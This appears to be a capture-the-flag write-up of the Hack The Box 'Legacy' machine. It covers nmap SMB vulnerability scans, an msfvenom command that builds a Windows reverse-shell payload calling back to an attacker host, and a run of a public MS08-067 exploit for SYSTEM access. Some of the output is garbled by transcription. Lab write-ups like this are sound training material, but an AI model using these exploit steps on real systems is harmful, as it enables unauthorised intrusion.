HTB Legacy Writeup

I started with the regular nmap scan using my go to nmap -v -sV -sC 10.10.10.4

```
Nmap scan report for 10.10.10.4
Host is up (0.055s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
    _clock-skew: mean: -4h25m05s, deviation: 2h07m16s, median: -5h55m05s
      nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:cb:05 (VMware)
      Names:
           LEGACY<00> Flags: <unique < active > LEGACY<20> Flags: <unique > <active > LEGACY<20> Flags: <unique > <active > HTB<1e> Flags: <unique > <active > HTB<1d> Flags: <unique > <active > HTB<1d> Flags: <unique > <active > HTB<1d> Flags: <unique > <active > <unique > <unique > <active > <active > <unique > <active > <ac
            LEGACY<00>
                                                                           Flags: <unique><active>
             \x01\x02_MSBROWSE_\x02<01> Flags: <group><active>
      smb-os-discovery:
            OS: Windows XP (Windows 2000 LAN Manager)
            OS CPE: cpe:/o:microsoft:windows_xp::-
            Computer name: legacy
            NetBIOS computer name: LEGACY\x00
            Workgroup: HTB\x00
           System time: 2021-05-17T18:39:14+03:00
      smb-security-mode:
            account_used: <blank>
           authentication_level: user
            challenge_response: supported
           message_signing: disabled (dangerous, but default)
    _smb2-time: Protocol negotiation failed (SMB2)
```

Seeing that port 445 and 139 I decided that I would start by poking around with smbclient and was able to login to the IPC\$ share, but it didn't have anything useful so I started taking another approach.

Port 445 has a few well known exploits so I scanned the machine for vulnerabilities on that port with nmap -p445 --script smb-vuln-* 10.10.10.4

```
—$ nmap -p445 --script smb-vuln-* -Pn 10.10.10.4
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-17 13:43 CDT
Nmap scan report for 10.10.10.4
Host is up (0.054s latency).
     STATE SERVICE
445/tcp open microsoft-ds
Host script results:
 smb-vuln-ms08-067:
   VULNERABLE:
   Microsoft Windows system vulnerable to remote code execution (MS08-067)
     State: VULNERABLE
     IDs: CVE:CVE-2008-4250
           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
           code via a crafted RPC request that triggers the overflow during path canonicalization.
     Disclosure date: 2008-10-23
     References:
       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
 _smb-vuln-ms10-054: false
 _smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
 smb-vuln-ms17-010:
   VULNERABLE:
   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
     State: VUINERABLE
     IDs: CVE:CVE-2017-0143
     Risk factor: HIGH
       A critical remote code execution vulnerability exists in Microsoft SMBv1
        servers (ms17-010).
     Disclosure date: 2017-03-14
     References:
       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
Nmap done: 1 IP address (1 host up) scanned in 5.63 seconds
```

Two specific vulnerabilities stand out here, MS08-067 and MS17-010. Port 445 is known for its vulnerability to the EternalBlue exploit. With a quick google search I was able to find a relatively recent version for MS08-067.

The implementation of the one that I found was easy enough. You first need to clone the repository with git clone https://github.com/andyacer/ms08_067/ then run msfvenom -p windows/shell_reverse_tcp LHOST=1.3.3.7 LPORT=443

EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86
--platform windows to generate shellcode that you will then paste into the code.

```
53 # Reverse TCP to 10.11.0.157 port 62000:
54 shellcode=(
55 "
56 "
57 "
58 "
59 "
60 "
61 "
62 "
63 "
64 "
65
66 "
67 "
68 '
69
70
71 "
72
73
74
75
76
78
79)
80 #
81
82 # Gotta make No-Ops (NOPS) + shellcode = 410 bytes
83 num nons = 410 - len(shellcode)
```

To run the exploit you need to supply it with the target IP address an OS# and the port number. python ms08_067_2018.py 10.10.10.4 6 445

```
(robert@palatine)-[~/.../HTB/tests/Legacy/ms08_067]
$ python ms08 067 2018.py 10.10.10.4 6 445
MS08-067 Exploit
  This is a modified verion of Debasis Mohanty's code (https://www.exploit-db.com/exploits/7132/).
   The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi
  Mod in 2018 by Andy Acer
  - Added support for selecting a target port at the command line.
  - Changed library calls to allow for establishing a NetBIOS session for SMB transport - Changed shellcode handling to allow for variable length shellcode.
This version requires the Python Impacket library version to 0_9_17 or newer.
  Here's how to upgrade if necessary:
   git clone --branch impacket_0_9_17 --single-branch https://github.com/CoreSecurity/impacket/
   cd impacket
  pip install .
Windows XP SP3 English (NX)
[-]Initiating connection
[-]connected to ncacn_np:10.10.10.4[\pipe\browser]
Exploit finish
```

Once you run this you will have root access without the need to escalate privileges.

It is worth mentioning that since the majority of the exploits I ran into require Impacket to operate I had an issue running them until I found a fix. I found a few novel fixes that didn't seem to work for me, but finally got it working after installing pipenv and using it to install both setuptools_scm and django-haystack. I could then use pip to install the Impacket properly.

```
(robert® palatine)-[~/.../tests/Legacy/ms08_067/impacket]
$ pipenv install setuptools_scm
Creating a virtualenv for this project...
Using /usr/bin/python3 (3.9.2) to create virtualenv...
"created virtual environment (Python3 9.2 final 0-64 in 574ms)
```

```
robert⊕ palatine)-[~/.../tests/Legacy/ms08_067/impacket]
$ pipenv install django-haystack
Installing django-haystack...
Looking in indexes: https://pvpi.pvthon.org/simple
```